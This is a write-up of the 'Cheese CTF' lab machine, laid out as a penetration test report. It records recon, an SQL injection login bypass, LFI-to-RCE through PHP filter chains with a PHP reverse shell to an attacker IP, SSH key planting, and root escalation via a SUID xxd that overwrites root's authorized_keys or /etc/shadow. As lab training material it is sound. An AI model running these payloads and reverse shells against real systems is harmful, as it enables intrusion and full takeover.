Skip to main content

Cheese CTF

This report details the penetration testing of a vulnerable web application. The assessment identified multiple vulnerabilities, including SQL Injection, Local File Inclusion (LFI) leading to Remote Code Execution (RCE), and a systemd-based privilege escalation exploit. These vulnerabilities were successfully exploited to gain root-level access to the target system.

1. Reconnaissance

The initial reconnaissance phase involved identifying open ports and services running on the target system. This was accomplished using the nmap tool.

Command:

export TARGET_IP=10.10.214.217  # Set the target IP address
nmap -p- --min-rate 5000 $TARGET_IP

Results: The nmap scan results are omitted for brevity. We note the presence of a login page at http://10.10.214.217. This indicates a web application, which becomes the primary focus of the assessment.

2. Vulnerability Analysis and Exploitation

2.1 SQL Injection

The login page (http://10.10.214.217/login.php) was identified as a potential target for SQL injection attacks. The ffuf tool was used to automate the fuzzing process, testing various SQL injection payloads.

Command:

ffuf -w /usr/share/wordlists/seclists/Fuzzing/login_bypass.txt -u http://10.10.214.217/login.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -d 'username=FUZZ&password=FUZZ' -fs 800

Results:

The ffuf scan identified several successful SQL injection payloads. One example is:

' OR 'x'='x'#;          [Status: 302, Size: 792, Words: 217, Lines: 26, Duration: 387ms]

By entering this payload into the username field (and anything into the password field), we were able to bypass the login and access the administrator panel.

2.2 LFI to RCE

After gaining access to the admin panel, observation revealed that resources were loaded using a file parameter in the URL, and that PHP filters were being used. This suggested a Local File Inclusion (LFI) vulnerability, potentially exploitable for Remote Code Execution (RCE) via PHP filter chains.

Steps:

  1. Generate PHP Filter Chain: The php_filter_chain_generator.py script was used to create a filter chain that would execute arbitrary PHP code.

    Command:

    python3 php_filter_chain_generator.py --chain '<?php $sock=fsockopen("10.2.17.44",6666);$proc=proc_open("sh", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);?>'

    The reverse shell was created using https://www.revshells.com/ (PHP proc_open) with a slight modification (php tags).

  2. Craft the Exploit URL: The generated filter chain is incorporated into the URL, exploiting the LFI vulnerability. The URL will look like this (replace <FILTER_CHAIN> with the actual output from the script):

    http://10.10.214.217/secret-script.php?file=<FILTER_CHAIN>
  3. Establish a Listener: On the attacking machine, a netcat listener is set up to receive the reverse shell connection.

    Command:

    nc -lvnp 6666
  4. Trigger the Exploit: Accessing the crafted URL in a web browser triggers the LFI vulnerability, executes the PHP filter chain, and establishes the reverse shell connection to the attacker's machine.

Results: After triggering the exploit, a shell was obtained on the target system as the www-data user.

id
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

2.3 User Privilege Escalation (SSH Access)

After gaining initial access as www-data, the goal was to escalate privileges. Examination of the filesystem revealed an interesting, potentially misconfigured SSH setup for the user comte.

Steps:

  1. Identify Target: The presence of an empty authorized_keys file in /home/comte/.ssh/ suggested the possibility of adding an attacker-controlled SSH key.

    ls -al /home/comte/.ssh
    # -rw-rw-rw- 1 comte comte 0 Mar 25 2024 authorized_keys
  2. Generate SSH Key Pair: On the attacking machine, an RSA key pair was generated.

    ssh-keygen -t rsa -f ~/Downloads/id_rsa
    • -t rsa: Specifies RSA key type.
    • -f ~/Downloads/id_rsa: Specifies the output file name (and automatically creates id_rsa.pub for the public key). It's good practice to not overwrite your default SSH key.
  3. Copy Public Key: The contents of the generated public key (id_rsa.pub) were copied to the clipboard. The command xclip < ~/Downloads/id_rsa.pub can be used on systems with xclip installed. Otherwise, manually copy the contents.

  4. Write Public Key to Target: Using the existing reverse shell, the attacker's public key was written to the authorized_keys file on the target system.

    echo "ssh-rsa AAA...kali@kali" > /home/comte/.ssh/authorized_keys

    Replace "ssh-rsa AAA...kali@kali" with your actual public key.

  5. Establish SSH Connection: From the attacking machine, an SSH connection was established to the target system as the comte user, using the generated private key.

    ssh -i ~/Downloads/id_rsa comte@$TARGET_IP
    • -i ~/Downloads/id_rsa: Specifies the private key file.

Results: Successful SSH login as the comte user was achieved.

id
# uid=1000(comte) gid=1000(comte) groups=1000(comte),24(cdrom),30(dip),46(plugdev)

2.4 Root Privilege Escalation (systemd)

Further investigation revealed that the comte user had sudo privileges to execute specific systemctl commands related to a service named exploit. This pointed towards a systemd-based privilege escalation.

Steps:

  1. Check sudo Permissions:

    sudo -l

    Results:

    User comte may run the following commands on cheesectf:
    (ALL) NOPASSWD: /bin/systemctl daemon-reload
    (ALL) NOPASSWD: /bin/systemctl restart exploit.timer
    (ALL) NOPASSWD: /bin/systemctl start exploit.timer
    (ALL) NOPASSWD: /bin/systemctl enable exploit.timer
  2. Inspect the Service File:

    cat /etc/systemd/system/exploit.service

    Result:

    [Unit]
    Description=Exploit Service

    [Service]
    Type=oneshot
    ExecStart=/bin/bash -c "/bin/cp /usr/bin/xxd /opt/xxd && /bin/chmod +sx /opt/xxd"

    This service file copies /usr/bin/xxd to /opt/xxd and sets the SUID bit. This is the core of the privilege escalation.

  3. Inspect and Correct the Timer File:

    cat /etc/systemd/system/exploit.timer

    Result (and explanation):

    [Unit]
    Description=Exploit Timer

    [Timer]
    OnBootSec=

    [Install]
    WantedBy=timers.target

    The OnBootSec= directive is missing a value. This prevents the timer from starting, and thus the service from running. To trigger the exploit, we need to fix this.

  4. Edit the Timer File (using nano or another editor):

    nano /etc/systemd/system/exploit.timer

    Change OnBootSec= to a valid value, such as:

    OnBootSec=0min

    This will trigger the service immediately after the timer starts.

  5. Reload, Start and Enable Timer

        sudo systemctl daemon-reload
    sudo systemctl start exploit.timer
    sudo systemctl enable exploit.timer
  6. Exploit the SUID Binary: The exploit.service, when triggered by the timer, creates a SUID copy of xxd at /opt/xxd. This allows any user to execute xxd with root privileges.

    Method 1: Write SSH Key to Root's authorized_keys

    LFILE=/root/.ssh/authorized_keys
    echo 'ssh-rsa AAA...kali@kali' | /opt/xxd | /opt/xxd -r - "$LFILE"
    • Replace 'ssh-rsa AAA...kali@kali' with your actual public key.
    • This uses xxd (running as root due to the SUID bit) to write your public key to root's authorized_keys file. The -r option of xxd converts a hex dump back into binary, which is crucial for writing the key correctly.

    Then, connect via SSH:

    ssh -i ~/Downloads/id_rsa root@$TARGET_IP
    id # uid=0(root) gid=0(root) groups=0(root)

    Method 2: Modify /etc/shadow (Less Reliable)

    openssl passwd -1 password # Generate a password hash ($1$spEDoxbT$3eo/uX2UhviVzYdt4ijny1)
    LFILE=/etc/shadow
    /opt/xxd "$LFILE" | /opt/xxd -r # View /etc/shadow (optional)
    echo 'root:$1$spEDoxbT$3eo/uX2UhviVzYdt4ijny1:19627:0:99999:7:::' | /opt/xxd | /opt/xxd -r - "$LFILE"
    /opt/xxd "$LFILE" | /opt/xxd -r # Verify (optional)
    su # Use the new password
    id # uid=0(root) gid=0(root) groups=0(root)
    • Important: Modifying /etc/shadow directly is extremely risky. A single mistake can render the system unbootable or lock you out. The SSH key method is much safer. The behavior of overwriting is indeed "weird" because you're not performing a clean line replacement.